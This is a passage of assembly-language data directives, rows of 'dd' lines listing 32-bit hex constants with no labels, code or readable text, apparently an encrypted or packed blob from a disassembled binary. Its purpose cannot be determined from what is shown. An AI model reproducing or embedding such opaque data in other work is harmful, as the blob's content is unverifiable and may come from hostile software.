69389425h, 9C2EFDCAh, 0B200C400h dd 6B91DB79h, 255C5392h, 0A9615E57h, 7A232BF9h, 0DB314AB3h dd 6A5E80BBh, 0B69C1C7h, 0F08B9381h, 6DF6A001h, 25766660h dd 7481C20Bh, 891EADEh, 5B1310C1h, 532B75E0h, 1CA2A7C3h dd 1B16130h, 6C4275C5h, 92CB2127h, 99B6F752h, 0DE5E3A38h dd 83E18030h, 0BE889CBh, 0EFED6ABCh, 0BE800AD9h, 653A1A5Fh dd 943348E9h, 491CCDC4h, 0DEBCDEC0h, 94C58A50h, 0D3108104h dd 8181E46Bh, 342B049Dh, 0C03DDBDFh, 0B58D09C1h, 27DAB92Dh dd 337102C8h, 89709602h, 8B12699Dh, 27F2B463h, 0FDDB5A85h dd 0DE30CED9h, 4C3AFC36h, 0BD17EB68h, 0F210A61Eh, 0AF01301Bh dd 0E1749802h, 0C09B774Dh, 95F53157h, 7ED95060h, 157150B3h dd 0EC481318h, 0D81D386Ch, 8589A046h, 5285BDE5h, 2DD66F90h dd 1B56407h, 278FEA41h, 0DBFCCF2Ah, 3B21F790h, 3C1C3C24h dd 17193108h, 95C1025Fh, 760915F5h, 0B806607Eh, 3A5EF621h dd 7E8F5A9Bh, 0D4E54260h, 0FADCA2DBh, 83652350h, 0E8D4B910h dd 0E544D2C2h, 1D424180h, 4629022Bh, 4B95EC48h, 0F8F8092Dh dd 50800D37h, 0B8359A7Eh, 20F926E6h, 0BF5D3A1Dh, 0BE16F9BCh dd 2DE0CE78h, 5206E1E5h, 0CF9BF14Eh, 466AC09Ch, 0DC096919h dd 0C9D2881Bh, 2029CA5Ch, 0E9AADABFh, 1E85315Eh, 1308BE82h dd 0D1B5B212h, 0DF289DF2h, 9B604BA0h, 0B59680C5h, 0A0AC9CBEh dd 0DDB8195h, 0FEB95329h, 605ECA7Ch, 72EB0BDCh, 1109A81Fh dd 0FA067946h, 13598D21h, 40A396BEh, 77E5B71Fh, 0EB294300h dd 9D2798D8h, 1510B72Bh, 0FB00AAB2h, 0BE2C33E5h, 1A3BD6B5h dd 525E588Bh, 0F5BFA7D5h, 7A7A61ADh, 74D50EDDh, 75FD80ECh dd 209D8B6Ah, 83132C35h, 8C0801E1h, 9D01FC29h, 0E064C018h dd 0BB40BD6Ch, 39B815E2h, 6754D38Bh, 53CB9809h, 6223E01h dd 0ADCF8100h, 6115D6C7h, 36B79F60h, 0AFF4C500h, 15CB9D5h dd 4D881EEh, 233B2321h, 858B0902h, 0F938A555h, 8BDB804h dd 92E88100h, 5106330Ch, 25E5BA66h, 0F6EA9720h, 13BF095Dh dd 3B394F22h, 3B17230Eh, 0D2D828Ah, 0BA3B6586h, 0F200297Bh dd 9866B78Ah, 414EA775h, 0E04588h, 0A69284FDh, 0A2A99914h dd 0E1587303h, 3CFA8EC9h, 8B2AF83Eh, 3602E75h, 4CDD220Fh dd 75157161h, 24C9DE1Ch, 0CC6740EFh, 7EE66710h, 0E7801450h dd 8B12FC8Ah, 0E9D874D9h, 1D99A85Bh, 5B05934h, 82BF0F1Dh dd 0E5D28D3Eh, 0E9B37B5h, 2A60E38Fh, 58523D3h, 5835849Eh dd 800585FDh, 4F8B08F6h, 39E52935h, 29B7204h, 8B6FB421h dd 0B1892053h, 85321995h, 0FD92EE0Ah, 7E23921Ch, 862C0E0Fh dd 0AC884182h, 0B6445C8Ch, 1C86EBEh, 59B84EFCh, 0A88FE5BCh dd 0DA9565C0h, 8920DAD6h, 2CE64C1h, 0BC6E8409h, 0B1899030h dd 8927F7DAh, 18DFADBDh, 9B2F0671h, 6449C3ADh, 5176F81Bh dd 47C5A3D7h, 1F35D668h, 0A66EAF33h, 0FEC60806h, 0ACD45C06h dd 8C16F83Fh, 0D4F75C3Eh, 668A384Ch, 96790029h, 5DC0E7AFh dd 820B6DA6h, 5E468A1Bh, 801F4E11h, 0C7C6533Ch, 1F00CAEDh dd 4E51AFB0h, 13F2EB7Bh, 36A45CEh, 5F64DE7Ch, 47800F89h dd 94D85454h, 0A6EAFD1h, 0A218402h, 0CD5385C7h, 77889A3h dd 61DE27D2h, 8870C873h, 340309FBh, 1180920Bh, 0B6EA80D7h dd 6DB50913h, 98EB69E0h, 0E99D387Dh, 0A67B4Eh, 0AEF161D2h dd 9C03EFEh, 2C899D09h, 4F80063Dh, 0DE807014h, 0C18B2D8Ah dd 5E712404h, 35A6C057h, 0F6CA0E4h, 0A58C894Ah, 4C294119h dd 11765524h, 8669AC00h, 0FAA690E5h, 2CD7828h, 6EC261A5h dd 0C7D1F3F2h, 0BF59F581h, 0BF845AFh, 0B1BD2D83h, 7506CD0Eh dd 0C5221209h, 19740C01h, 0B8CA5350h, 8D043830h, 8020F585h dd 62129D8Dh, 35A0E2BCh, 2258565Bh, 20871720h, 0C7B95188h dd 1D65B203h, 88E409h, 2FC08973h, 60179FB0h, 5DC21602h dd 0DBD7C7A0h, 0D64D70D6h, 5A008375h, 0A4DD8785h, 6A0AB966h dd 0DEAEF049h, 0DD303F16h, 0E81248F8h, 31B08032h, 0F3D82185h dd 9406D5FEh, 0E8F386F8h, 0B7BD291Eh, 71803DA7h, 0B3BE9E1Ch dd 7812D1A0h, 0DED08D0Fh, 3388B1B9h, 597A0BE6h, 51C01EF4h dd 0E86492F8h, 0DE6BF1DFh, 94DC81F7h, 38D87F19h, 81FE319Bh dd 75418532h, 359B6B60h, 18F06180h, 340BE69Dh, 0F03FBD4Ch dd 0E805140Fh, 841592E0h, 71EC9A07h, 7FA10C39h, 32DAEF04h dd 4C965FDFh, 0DC36BCB7h, 3F858200h, 9F86B349h, 0B58B09ADh dd 0DB260E15h, 6D97B32Bh, 213C0A2h, 54C4A283h, 26880741h dd 0F82040DDh, 6FAE812h, 88A063B7h, 1901D58Fh, 0DB8D755Eh dd 5100FE8h, 0F4E3A396h, 8600DC5Fh, 0C9F333B2h, 799FD838h dd 65C6960Fh, 5DA644F1h, 95090108h, 83531CA5h, 0D8A54AA8h dd 0D1288D1Fh, 0A9606A04h, 0E8F78B0Dh, 0B7065E8Fh, 40FEA01Fh dd 0B5010A78h, 8310FE9h, 752C2A35h, 0EDB06867h, 0C3DA7E90h dd 52E8F2C6h, 0E89FADFCh, 0D8DA0622h, 740553D1h, 0DB12AD2Dh dd 86DD060h, 0FAB58A03h dd 0AE8B0225h, 0FEAA886Eh, 29608005h, 7441854Ah, 8E18D01h dd 0C9401C2Dh, 0F4609C2Ah, 0C9A19301h, 0B302634Eh, 1563813Bh dd 4C887A5Eh, 6918015Ch, 0D619DDDAh, 0EAEC44F7h, 0B15F0242h dd 5F00432Bh, 8077DBADh, 66F977EEh, 0A7A327BFh, 6007FFD1h dd 0C9D0B1CDh, 4B474C76h, 42A295h, 0DA614D73h, 9DD8FCE5h dd 312CF2ECh, 0A82061BCh, 491B5520h, 0A13B6059h, 0F8036040h dd 0A3E98153h, 5E238879h, 43E83761h, 9CFD0CBh, 3E65B454h dd 6EA2C538h, 4C256510h, 0A1A772Dh, 543728E8h, 0BCA540EEh dd 0E6145AB1h, 1281658Bh, 16126185h, 14F195F6h, 0CE1CF4E8h dd 0EF2F4F75h, 1DA52204h, 49640C0Eh, 9D847796h, 0E8023445h dd 0BD7504D8h, 0A8BB1258h, 0E56062B6h, 7DBD2122h, 1AA81225h dd 0B560834Dh, 8FD9B8Dh, 32319589h, 871216B2h, 3DABB96Ch dd 25FE803Dh, 7FA5C74Eh, 362839E8h, 714E91D4h, 12B0250Eh dd 0AC81759Bh, 216F3909h, 8DAA604Dh, 4902695Bh, 0D7B60F5Fh dd 0E2BF2DB7h, 5F16AD4Ch, 98A34EB0h, 3C4F0800h, 0D0196F50h dd 53BE0255h, 5F5C340Ah, 115FB555h, 80828014h, 0ED8BA9E1h dd 8039DB2Bh, 38ABA0D1h, 9463CDAh, 0E7D0483Bh, 1A099F19h dd 186C9DDCh, 2B00E129h, 8D260BD8h, 5082686Dh, 60C78A60h dd 95241C73h, 0DE072C1Ah, 5B13182Dh, 91E085B6h, 7801274Dh dd 84EBD571h, 86448B0Fh, 0E28160AFh, 3500928Dh, 0DDEE4940h dd 1E36E745h, 7FBE58FAh, 22AD9509h, 5B41376Fh, 202FAAB9h dd 836CBEC9h, 3E37E424h, 51DEFF01h, 0AD6D1A89h, 217043B9h dd 11CC8AE5h, 42251F69h, 89FECD61h, 0F612FDCCh, 992FF498h dd 40E41Ch, 0DF98E090h, 510BC924h, 35E2121Eh, 591956C0h dd 30EDDE23h, 2BDE2F1Bh, 1C5545BDh, 6D8E904Ah, 0A00BA6D2h dd 2B8FA96h, 93D35825h, 9661C144h, 1A3342FDh, 39CE37F7h dd 0C23C4182h, 0A7F9EF7Bh, 260A540Eh, 0ADC1C360h, 8075E5FBh dd 0BC09E7C1h, 6730515Ah, 0A05F6160h, 0B733A58Bh, 6640254Fh dd 61C0C2CBh, 0ACF66AEEh, 0DB864550h, 0CDC1802Fh, 0D416A08h dd 0F88311E5h, 0D99B6AFFh, 0A80CA282h, 0FDBB885Dh, 8B1F0B1h dd 0BD0BFF04h, 0C0164D1Ah, 7D52E271h, 912D6980h, 71F8AD35h dd 7D381350h, 0ECD33159h, 5F360432h, 81B4A164h, 804D938h dd 0F1B51533h, 0AC4C3E2Fh, 176CA31h, 0A5DE3E26h, 129F3089h dd 0FC821B11h, 0C467826h, 11DFE1B7h, 26F55353h, 0AFBE3DA2h dd 1B001DB7h, 90F43875h, 46ABB4DFh, 0D600C89Fh, 9E551DD8h dd 99BE230h, 8AD98018h, 9B1A6604h, 132C074h, 9FA38BF4h dd 56FD84E3h, 81A8DB68h, 0B7C58B86h, 0CF9969CEh, 0C6E18270h dd 2FDCE95Bh, 17E0C38Dh, 0B56B66Ah, 0D7A8E2B7h, 0A956B9AFh dd 2E1ABCFAh, 601C4970h, 0BBFE7529h, 961F4000h, 9FBD4C5h dd 0AF1E94B5h, 0D754ECE2h, 29C909DCh, 4C98A195h, 8D14D181h dd 5AE0B231h, 2700426Fh, 0BE668353h, 0B8DE93h, 8F01A545h dd 367DC3F9h, 2D0BEDB8h, 2D5D89Eh, 231353Ch, 54B5C58Ah dd 0DFF43580h, 4B658D31h, 0C8F8CF23h, 0E47C015h, 3C07DFB9h dd 0E7BE71C1h, 0D334A2C2h, 2399D0EBh, 0B4C94684h, 0B96A2021h dd 0C8C40119h, 10B1F833h, 0A7CCA3A9h, 0A5D65B84h, 0E040364Dh dd 170DAD18h, 30609CD2h, 83C4232Ch, 625EFC01h, 5F26FD7Ah dd 3E40F8h, 7BB65912h, 0B7C4B8B3h, 0F685EB5Bh, 12EE20EAh dd 3739195Ch, 705181DEh, 0C0B7310Fh, 7BFB1C6Eh, 905B0800h dd 0FE6F03BBh, 0FFE24E65h, 0B07AAFh, 0B9EA63B6h, 2F8E22FBh dd 0D4D36A5Dh, 7A3B6778h, 53DF00CAh, 0A33507BBh, 0F25A9B3h dd 0D4456A87h, 930440ABh, 0A201F767h, 59E36D41h, 0CB40D305h dd 4FE453E9h, 0BF1A8807h, 2375AC0Eh, 5E42A2DAh, 0BBDE68h dd 9F55BB66h, 0E8E26050h, 84DA2EA0h, 0D000817Ah, 38F88672h dd 0BF5929E1h, 0B3B84E40h, 34771071h, 73598BB5h, 1BFC70DFh dd 0B3C77C18h, 4FB58940h, 5AB2B2EDh, 83E261A6h, 1C00D171h dd 0FED4B221h, 81AB0004h, 8BE72D7h, 9AB75F3Dh, 35B777E1h dd 9D8BF587h, 9F972834h, 9B01D21Bh, 2C97840h, 8BA21103h dd 10D1FFC1h, 1312315Eh, 0C2045756h, 5B0E0861h, 16194833h dd 5C6B842Fh, 2D77252h, 687012F3h, 21672DBh, 0D5E272B4h dd 14F6B09Eh, 2D950161h, 7FC41C15h, 0B1E18DA2h, 28812A2h dd 904EB710h, 0BFA057E6h, 349E2A99h, 0E947E1B8h, 2C7A0E12h dd 5341F342h, 5BB16E2Eh, 2421A3A4h, 1EF94B2Fh, 958905FEh dd 9CA85469h, 0DF946314h, 4C6E5Eh, 65DE6B3Dh, 20910F7h dd 0CB8041A5h, 90FF5077h, 7849A4A2h, 6A6602BAh, 0E7A0BD7Fh dd 697D4D40h, 0D3E7505h, 3BD2465h, 0BE0B40ECh, 598C0F61h dd 64DE82A2h, 0AA9235FFh, 17FCBA09h, 2551F7BEh, 1A873F0Dh dd 0E099F4B9h, 4AEB8166h, 4B6A343Eh, 7A80A19Bh, 8B0AB70Eh dd 0A7B5E90Eh, 0AAD577FFh, 7C0AA9Bh, 0E0D4CC4Bh, 9805FC12h dd 33892C05h, 830112E4h, 0E1C3BC07h, 8001B0EBh, 70C5E6CFh dd 41C17E60h, 33C13A19h, 4E6BDBB7h, 4810E7ADh, 3241794Ch dd 0B5C8B6F0h, 31B70746h, 4493C140h, 0E881C4DAh, 0EB868068h dd 0C8D1DFh, 50369DA8h, 8BB17D99h, 940AD84Fh, 2A108601h dd 0FCC82B0Fh, 8877D1CEh, 9D5A8975h, 8527ECA2h, 0D3DE4BACh dd 68F1285Bh, 6D9D1C84h, 22121A34h, 42CA1F7h, 80CEA860h dd 5DA817Eh, 240B00D6h, 5A0C74B5h, 0E762C6F3h, 11455E4h dd 42D03B61h, 0F918118Ah, 52E98028h, 850117C2h, 71BFA9D9h dd 602CA6E3h, 0B0E9CCEEh, 3050900h, 0AB4FCDDEh, 0DF8B1866h dd 72E9CB5Fh, 84D42297h, 0CD62A24h, 0A5D73015h, 42FE2EA1h dd 0D32E71E3h, 0C28DD7C9h, 0C2A520D9h, 0D7B58D21h, 123FE3E1h dd 0D34BAE35h, 0E6A84D6Ah, 0DA4EC07Dh, 6A5A75E7h, 0DE9428C3h dd 391FED20h, 0BBF0AFB9h, 7305D027h, 42612514h, 5E480982h dd 0F94F0516h, 0D3FCAF09h, 0EAE1705Eh, 213A2F0Ch, 4BF84EE0h dd 40798DFCh, 285F23B5h, 0BBB84329h, 0F29D0909h, 8164A119h dd 0D22BE551h, 8A0C1160h, 80C4C7FCh, 0C233AD20h, 0D0AED164h dd 757F05ABh, 0F1F209F4h, 0DFB3B070h, 2A57E78h, 0EB1E9CF0h dd 4D712D7h, 0E0181303h, 88610DFAh, 759D0B33h, 4851002Dh dd 0BD0C3A2Dh, 8D191B85h, 0D204932h, 4EA7F79Dh, 0F1C2D750h dd 0BFC10318h, 0D3D8F408h, 4A015819h, 0DAA896BDh, 10997953h dd 0FA4C2F69h, 5F12F510h, 599A1683h, 0DEBCC29Fh, 8B9F7409h dd 0CA0156ACh, 0A2472494h, 503D95E3h, 0FF3A9500h, 2E547C9Ah dd 1112B406h, 60F51C01h, 9270FC5Bh, 52610114h, 0A2CFCF5Fh dd 144A4EE8h, 42ED584h, 18FDE1FFh, 0AF1321B8h, 30ACCE38h dd 0C2EB1D12h, 0A798228Fh, 11820531h, 3F02010Dh, 715D5B29h dd 0A88ECECh, 0E0CB7CC2h, 0F03308Ah, 0E217865Fh, 0EEBCC3EDh dd 2A32FD00h, 8B6036ACh, 0A0BBDFAh, 2870C57Bh, 16A6585Fh dd 0B3CE98C1h, 9905EC9Dh, 1DFC1800h, 0DF284C51h, 4E12580h dd 0DC6C54h, 6CBB381Dh, 1550810h, 7CF49D4Eh, 0BCC9500Ah dd 7A6AF783h, 0BB2200AEh, 0E6029C14h, 2CD59063h, 629C04F5h dd 0A7C064BEh, 62823399h, 0BCD95E6Dh, 9F31F0FCh, 72007ABDh dd 6C79EDA4h, 62E6B550h, 499D17A0h, 53E31B5Ah, 58446E4Ah dd 0DAB470C9h, 992903DCh, 1C7F03F4h, 9374C6B5h, 29CF5FB0h dd 61FEEFFh, 22C4F88Ah, 0AAC81583h, 0BEC6810Dh, 0E8408E2Fh dd 0CB00113Dh, 879C1B7h dd 0C08B5B5Fh, 0C55DBF7Dh, 7BF316A5h, 6A687B30h, 0F302C21h dd 5CBB4069h, 58EEC0A4h, 0C0966DB5h, 235760D8h, 152DBD2Eh dd 0E3815B80h, 58637AD6h, 0CD16D714h, 1D7B21h, 0A6B8759Bh dd 4B378092h, 0CB16C28Fh, 0D7C82DE3h, 4127E91Bh, 0D0A9D302h dd 7A3BDC93h, 0D6061EB7h, 6E11749h, 9367A556h, 0F4A37814h dd 3603DD03h, 82C7F52Eh, 8F3D7D18h, 0D48380BBh, 0D81DBC9h dd 0C6035BFEh, 6D9FA4EDh, 313CE2FAh, 7075D2E0h, 851229FAh dd 94B63345h, 307D3E00h, 2A0FEE0Bh, 1BE46703h, 85C59501h dd 1696F850h, 0A84B05F9h, 8E5389D9h, 11018BCAh, 0FF26D8F0h dd 3C096E5Eh, 378D0EA2h, 59A0B3F2h, 0FA8A8011h, 4468916h dd 9D02CE6Fh, 8CDA3EB8h, 6700C466h, 10346AEDh, 0F1DB4ACh dd 0E20F9619h, 60BB0A00h, 4E5B831Ah, 8DCAEC7h, 905075DFh dd 0D2195E4Fh, 224AB5B7h, 0BB02F59Ch, 2EAA9B21h, 8DD4650h dd 3C0BB7C7h, 5247601Fh, 0B951595Ah, 2FFC7B78h, 39BB0E66h dd 98346165h, 1CBF849Eh, 0B43AFEBCh, 0F10F1C23h, 0CF7A1E5h dd 0E3C5256Fh, 8C854Ch, 1E794F6Bh, 896D37BEh, 0C52D0A14h dd 0C68D24F9h, 0DC67DE69h, 0FEDCB716h, 0F089EE9h, 0E9960C85h dd 0B0913088h, 0C69A0B92h, 2ECD90F8h, 0C4C9E7C1h, 65F8D542h dd 0F85C214Bh, 294B5776h, 821BC2A0h, 0FE6102A5h, 2F019F6Fh dd 7F303145h, 79A06023h, 2BF3240h, 6784FCA0h, 65E685C7h dd 0B56277E1h, 0F081C7CCh, 51EEC9A7h, 7D416F56h, 5AF0E88Ah dd 33C70EFCh, 160554F6h, 25A8C4A2h, 30E692FAh, 0D9058179h dd 0BD43E9h, 0E00161ECh, 940FF883h, 0C16EFC82h, 0FC36D836h dd 11700C30h, 10F4473h, 5A10E8C1h, 4C00610Eh, 965803F8h dd 0EBE78D5Ch, 6404DE37h, 3316EE39h, 2829501Bh, 58182140h dd 570113CDh, 8BC01B09h, 6DDB95C0h, 0A0193A70h, 961225FBh dd 2671886Ah, 0B5193125h, 6D5DE369h, 0D9185CFh, 4E2BF98Bh dd 0DA42E52Ch, 2EA1FCCDh, 0E418506Eh, 2341A2D5h, 30207599h dd 209B7897h, 0F8C2013Dh, 0FE199D8Dh, 5E504BE5h, 0A778D69Bh dd 0C1FD0EB7h, 0D722BEC7h, 625477EFh, 0A1108726h, 1236AD7h dd 0DF4AAB5Ah, 6A68C7E6h, 0A637B772h, 0CDC62980h, 47BAC7h dd 0ABDF81A3h, 9607ADA0h, 5087B312h, 0A98E37BFh, 2870F8F3h dd 0D85CC13Eh, 5965A4D6h, 11B602C4h, 9D92B6DCh, 946050BEh dd 1FFF6BA4h, 0DB409BE9h, 7BF2BA82h, 0E12B0BBFh, 0F2024D08h dd 0E55322D1h, 0FCDB46D0h, 89F808B6h, 5381C486h, 5F31F380h dd 64D4083Ch, 0B37A405Bh, 4C283CAh, 203D895Ch, 4A50EC25h dd 8E20DB20h, 700596C9h, 0B1DEE0D4h, 74EA80DEh, 2F2C520Bh dd 0F4D4D4D2h, 516EAFh, 0DA91C8E0h, 137CE175h, 9E6A52C5h dd 0FE928296h, 5F1B4C3Ah, 6B1A34FCh, 75C8007Ah, 0A639DE57h dd 2DCF9001h, 474450DBh, 9ABBD8FBh, 85044005h, 0FF864501h dd 24343BFAh, 2549DE29h, 96C46A70h, 61328E9h, 0FA185BDh dd 3F6F5F4Ch, 6B847EE1h, 26536B6Dh, 4387C70h, 27357395h dd 0E59E81D0h, 0CDA00413h, 52BA8B1Fh, 0EF6C10FDh, 518900A2h dd 0AD42BC80h, 2600E13Fh, 0C407540Bh, 620F8877h, 5AFECE31h dd 0EE4EB243h, 688A6F9Bh, 78D46B91h, 0ACCE00DEh, 4C2B42DAh dd 0F286CEAh, 352DB358h, 0D0CA5330h, 0D9009C61h, 84A42B3Ah dd 9F9D641Bh, 0F2F8CA13h, 1000D4BCh, 2281360Ch, 52C780CCh dd 18446801h, 0FABD0169h, 4708809Dh, 8853F5C1h, 7C01B9A4h dd 0AB091646h, 1482E7F8h, 90C41541h, 0C709315Fh, 5F210502h dd 0B0B1F7A7h, 4D7BE42Eh, 0B3D8F8A0h, 2F8E844Ch, 0E3F39039h dd 0C6DA2D6Eh, 0D7D058DBh, 47129D45h, 6679286Ch, 0C7601604h dd 0C4F13D85h, 0E3800E00h, 0CCE90E0Dh, 8434FFF2h, 8BFDD531h dd 6A362AC1h, 0CCDF4BBEh, 14C05241h, 9D2B5BDEh, 38BB92B9h dd 0B2CE6090h, 0ED7900ECh, 0CFAFCE3Ch, 9A5B002Bh, 2A8202E0h dd 0C00C589Ch, 4A615FA4h, 9050E8C8h, 5BB04A5h, 84202723h dd 80C0AC94h, 2912EE64h, 4B5C0204h, 0F0DB92C3h, 4290A141h dd 5C2B0AD5h, 0EFBFC2A5h, 0E0F68AFDh, 7882C515h, 4DEAFB6h dd 3BC80AE2h, 543EC0F5h, 0EA959D31h, 0C9001ABh, 0D6DAE464h dd 0BD0ADCDCh, 0C64FE666h, 5CAD151Ah, 0B2D3251Dh, 256B70h dd 12715FE9h, 9E401C2h, 0D795BD2Eh, 62BB508Fh, 0D038E5D8h dd 8D02B789h, 570F1F5Dh, 0F62CE00Bh, 9A50465Bh, 6C0F714Eh dd 6FFB525Bh, 0E5300F3Ah, 3162D20Fh, 69135ED9h, 76012C71h dd 0D7466067h, 2A8951EDh, 13D65BF9h, 1203C625h, 810DBD29h dd 2BD1FF8Ah, 0C07D0823h, 1A050E7h, 0A2D97430h, 2E532A43h dd 8B96E928h, 45058FB1h, 58D3014Eh, 6F026ABBh, 5F8005DBh dd 6E2F1E38h, 820FFC17h, 4EBE0C8h, 1244BC55h, 1020EE90h dd 0C5783h, 0E738CECFh, 8E67E4B3h, 0B2150800h, 1AA6B020h dd 0E2109D50h, 75009CDDh, 0E4490693h, 39F7E0D5h, 9880FD25h dd 5BDF956Ch, 904DE81Eh, 7559BC65h, 3F5405F4h, 0D8CFD780h dd 0A725E90Fh, 8823E50Dh, 882F6416h, 0F817D984h, 0FBB8A1EDh dd 393F3501h, 8BB6A915h, 6B215ED2h, 426E4E1h, 0BF562390h dd 0E7200918h, 258C5F4Bh, 0CD45B17h, 4D1D4821h, 9F0422C0h dd 7C0B13B5h, 5BE529F9h, 41B584F8h, 0DB3B2D26h, 2D2780CBh dd 25EE5FE0h, 9CC2D61Bh, 0EDB0BAF7h, 7A6360B2h, 71903D14h dd 937CF33Bh, 0DEADFF6Ah, 640022B8h, 0AD636F7Ah, 58044876h dd 945FE74Dh, 3F2AE2A6h, 0B4FE0063h, 462A6C97h, 0BA3C2CD9h dd 0F6FC1283h, 1A282229h, 17918D09h, 2AFDF602h, 0F905B007h dd 0E045388Ch, 60EB1FD1h, 0A07AC09Ah, 6653DC3Ah, 8EE32C04h dd 0BD88E8ECh, 0B5A60075h, 5FFFD74Eh, 7000E65Bh, 2EAD37BBh dd 1271E452h, 0F481CF80h, 48AE250h, 4DBDD9BFh, 50D9D08h dd 0BF9FA2E9h, 24C5EF9h, 17C59589h, 10469377h, 3201E938h dd 0DABD482Bh, 0B0D1FCA4h, 0C4D617DCh, 0A25925E9h, 0F6A900C4h dd 7059532h, 0F2362F6Fh, 26590740h, 31715F81h, 1A3C596Eh dd 31FF3939h, 0F5113C0h, 375EC209h, 0A24A3591h, 6C20009Dh dd 0AF1EB8FDh, 0BA27005Fh, 0A4F41CA7h, 2F09C4FFh, 985556B4h dd 0FC707FB4h, 0E507026Bh, 39A9447h, 0E95BAA60h, 33254264h dd 0A74B0AA8h, 0BBB3174Ah, 4E57F930h, 4FFE01A1h, 914C6852h dd 53222F76h, 0A52A2F1Ch, 98FE1320h, 895B3204h, 8EE1C0C9h dd 184B612Fh, 5F4004F3h, 0D50A814Eh, 0F75601F6h, 1332DC4Bh dd 97023EC7h, 75204D8Dh, 99DF443Ah, 4DF1310Ah, 890BFC15h dd 586BDEABh, 83285E7Fh, 0C920FD9Eh, 0B95F0B25h, 14520E69h dd 0C9327520h, 0A07FCF8h, 2BA42EEFh, 0E0F5B6C0h, 6029AB0Fh dd 57D34C23h, 0A7EAD22Bh, 26DB7F12h, 0FC4FBE3h, 0CB18980h dd 0DE00F097h, 54B4255Ch, 1602B67Eh, 0C8B17908h, 0DE0205D8h dd 0F0D45C5Fh, 4035FED5h, 463877F4h, 6E797F0Fh, 85071D1Fh dd 0C5C05764h, 0B820AEFBh, 8CFD5234h, 0B70A884Bh, 0FE356A4Eh dd 3B9ACC4h, 9067A4Ah, 2436903h, 5E23E18Eh, 0B7B55E21h dd 0E02100A5h, 0B426043h, 205DBD13h, 52549070h, 0F386004Fh dd 9B2C3EB2h, 0E1131EF2h, 0D5006057h, 0BFA4CBD9h, 0BBE409C2h dd 5379616Ch, 30547744h, 0F6016912h, 0C381012Dh, 4EFF6C37h dd 0E9FC352Eh, 64B80Ch, 0D6105EFAh, 0F5A39068h, 0FFDF8B0Bh dd 0C04BCDE1h, 0E61B9B0h, 0F57DEC13h, 0EA04AD88h, 354700ACh dd 0A2E2E1E3h, 680253BEh dd 5A2A1807h, 50305E21h, 0F482047Dh, 12CE0003h, 2A598D29h dd 26E99DB6h, 4831802Dh, 61164160h, 1D969210h, 2FF514F8h dd 8A2F2528h, 78EDB707h, 8F76012h, 8E68D4B0h, 4DF50B97h dd 0BD21C20Ah, 9B96EA5Ch, 6EBFA453h, 7E9F27BAh, 95082B2h dd 66CAB1BDh, 2C85A6C1h, 0D5BB87B6h, 0ABF053A9h, 9FE658C6h dd 0A4B2CD5Eh, 29CB40h, 9278727Ah, 9973B932h, 59E2CE06h dd 0BBE2A1A6h, 259238D6h, 4628F75Bh, 1712B0C3h, 0D354C1FDh dd 3B50743Bh, 8A7A19C9h, 0BB6302E8h, 0A2AD96F7h, 402FCB13h dd 0BAF881h, 64B21132h, 788360CAh, 25B5635h, 8CDB41C5h dd 0F13E1180h, 3E8936Dh, 4828C930h, 123EF81h, 663FED54h dd 2B8745BFh, 1A893D29h, 3C59DCCEh, 51374225h, 966D00BDh dd 597537Bh, 52508100h, 585A310Fh, 3B939559h, 0F5BF1803h dd 3D7F454Fh, 5A296022h, 6611B18h, 0E03FB6A4h, 0E8AD1E86h dd 0D918950Ch, 255F9D2Bh, 7E32312h, 0E9EE045Fh, 807B9FDBh dd 9548BD17h, 2BA9703h, 0CA8024B5h, 34BB22FEh, 159A2564h dd 929503E6h, 0DE647CDFh, 84BC0C4Fh, 3BC0CD4Ah, 9C808F9Bh dd 0A29EF7D3h, 822F2205h, 7DC16D55h, 0B7011BB9h, 2606E173h dd 13AEF4ECh, 1232FC3Fh, 5F6F0B7h, 4E3016B2h, 7DF4B830h dd 0DCCC9C46h, 0B9F94105h, 0FE8154A8h, 8150471h, 6F801483h dd 0A81B18CEh, 0E4211E56h, 3C1C402Dh, 0E9C702EFh, 80012938h dd 795BBBA9h, 16586594h, 0C66198B5h, 9D255AEEh, 9C06EE2Ch dd 9739DCEAh, 9E8C5F7Eh, 22825A0Fh, 0BB18887Fh, 819800C2h dd 2DB820CBh, 0DBF66826h, 0D2AD4F2Ch, 437D82Dh, 52CF2899h dd 0ACE4B9F8h, 29028C19h, 0C61495BBh, 9321DB42h, 44BDB5F9h dd 9430F8D7h, 0C931CEE9h, 61646199h, 0ABF1B626h, 29E0409Ah dd 8396359Dh, 1D159586h, 0A09E9559h, 21B5B7h, 3F71E2F6h dd 9495EA85h, 0A620B5AEh, 86AABF50h, 5B6DEC13h, 0E29668FCh dd 96640054h, 422482ACh, 3FFF0085h, 3D80D803h, 0A209FB39h dd 73B3C05Dh, 19115F7Ch, 0D63EE897h, 445A304h, 35B217h dd 21409D3Ah, 4B517F2Eh, 227B8A3Eh, 0DB81023Bh, 38483A7Ah dd 2869CB96h, 0DF9A0727h, 3AF3CC25h, 1A497C62h, 54B8FC04h dd 1CF4BFC1h, 9D56FAB9h, 848535E9h, 87EE9686h, 122A1483h dd 846535B3h, 96804B59h, 6C6A937Ch, 71D0A53Fh, 0F309BC64h dd 0D81D9661h, 0D48F1B11h, 0A90E9400h, 0D9951359h, 0CFC8078h dd 9392ABC2h, 0AFA07500h, 8DBB81C1h, 0BD99A6D1h, 90801137h dd 0A75A28A1h, 30202FCh, 0E0343D9Dh, 4DC9585Ch, 0B9CEC0B0h dd 0DE4FCD67h, 971651A0h, 8D40783Ah, 1A9775C9h, 915D454h dd 3971A008h, 0A9BD2982h, 0EB42DC1Ah, 0D073A07Bh, 9705629h dd 0B6F5A635h, 0ED955570h, 3650C045h, 69B4ABADh, 97C8540h dd 0FA192C69h, 0A345153Ah, 80C05B25h, 0B90BCF81h, 79710E10h dd 0B5298422h, 2B94A185h, 9D897530h, 0D429B551h, 0FB9D595Ah dd 0FFBB783Fh, 0E1F8550Eh, 66A84069h, 0D4B804BFh, 0A916004Eh dd 29F09115h, 28723A1Ah, 0E9495CF9h, 8750E65Bh, 20504BA9h dd 74FD92Dh, 7AB81903h, 9039309Bh, 3A612477h, 60AC7293h dd 97C2145Ch, 13F58B70h, 9BEC16A8h, 0BB6C80E6h, 29AA260Eh dd 2E711297h, 0E771DC54h, 504B087Ch, 4BB78E8Ch, 2D888A1Fh dd 603D4F81h, 4C2C0919h, 5816B573h, 47F8E770h, 162F2910h dd 6AE8870Fh, 11CADC4h, 9675B761h, 0E1077863h, 903EB987h dd 0E7FABF82h, 80B6653Ah, 6A01508Eh, 0ED68ABF0h, 0B6AB133Fh dd 9366E0F4h, 7B90B5C9h, 25057CC1h, 0FC8A5614h, 45C4BC66h dd 7D322B0Dh, 1862A831h, 0E0604DADh, 